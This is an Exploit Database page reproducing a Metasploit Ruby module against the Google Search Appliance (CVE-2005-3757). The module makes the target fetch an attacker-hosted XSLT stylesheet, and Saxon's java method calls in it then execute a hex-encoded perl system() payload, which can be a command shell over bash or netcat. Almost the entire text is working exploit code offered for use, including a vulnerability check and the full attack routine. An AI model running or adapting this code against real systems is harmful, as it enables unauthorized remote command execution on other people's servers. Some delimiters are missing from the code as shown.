Google Appliance ProxyStyleSheet – Command Execution (Metasploit)

Exploit Database
109 阅读

作者： Metasploit

日期： 2010-07-01
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/16907/

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# $Id: google_proxystylesheet_exec.rb 9653 2010-07-01 23:33:07Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})

super(update_info(info,

'Name' => 'Google Appliance ProxyStyleSheet Command Execution',

'Description'=> %q{

This module exploits a feature in the Saxon XSLT parser used by

the Google Search Appliance. This feature allows for arbitrary

java methods to be called. Google released a patch and advisory to

their client base in August of 2005 (GA-2005-08-m). The target appliance

must be able to connect back to your machine for this exploit to work.

'Author' => [ 'hdm' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9653 $',

'References' =>

[

['CVE', '2005-3757'],

['OSVDB', '20981'],

['BID', '15509'],

'Privileged' => false,

'Payload'=>

{

'DisableNops' => true,

'Space' => 4000,

'Compat'=>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic perl bash telnet netcat-e',

}

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'Targets'=> [[ 'Automatic', { }]],

'DisclosureDate' => 'Aug 16 2005',

'Stance' => Msf::Exploit::Stance::Aggressive,

'DefaultTarget' => 0))

end

# Handle incoming requests from the appliance

def on_request_uri(cli, request)

print_status("Handling new incoming HTTP request...")

exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))'

data = @xml_data.gsub(/:x:MSF:x:/, exec_str)

send_response(cli, data)

end

def check

res = send_request_cgi({

'uri'=> '/search',

'vars_get' =>

{

'client'=> rand_text_alpha(rand(15)+1),

'site'=> rand_text_alpha(rand(15)+1),

'output'=> 'xml_no_dtd',

'q' => rand_text_alpha(rand(15)+1),

'proxystylesheet' => 'http://' + rand_text_alpha(rand(15)+1) + '/'

}

}, 10)

if (res and res.body =~ /cannot be resolved to an ip address/)

print_status("This system appears to be vulnerable")

return Exploit::CheckCode::Vulnerable

end

if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/)

print_status("This system appears to be patched")

end

print_status("This system is not exploitable")

return Exploit::CheckCode::Safe

end

def exploit

# load the xml data

path = File.join(Msf::Config.install_root, "data", "exploits", "google_proxystylesheet.xml")

fd = File.open(path, "rb")

@xml_data = fd.read(fd.stat.size)

fd.close

print_status("Obtaining the appliance site and client IDs...")

# Send a HTTP/1.0 request to learn the site configuration

res = send_request_raw({

'uri' => '/',

'version' => '1.0'

}, 10)

if !(res and res['location'] and res['location'] =~ /site=/)

print_status("Could not read the location header: #{res.code} #{res.message}")

return

end

m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im)

if !(m and m[1] and m[2])

print_status("Invalid location header: #{res['location']}")

return

end

print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")

start_service

print_status("Requesting a search using our custom XSLT...")

res = send_request_cgi({

'uri'=> '/search',

'vars_get' =>

{

'client'=> m[2],

'site'=> m[1],

'output'=> 'xml_no_dtd',

'q' => rand_text_alpha(rand(15)+1),

'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml",

'proxyreload' => '1'

}

}, 25)

if (res)

print_status("The server returned: #{res.code} #{res.message}")

print_status("Waiting on the payload to execute...")

select(nil,nil,nil,20)

else

print_status("No response from the server")

end

print_status("Shutting down the web service...")

stop_service

end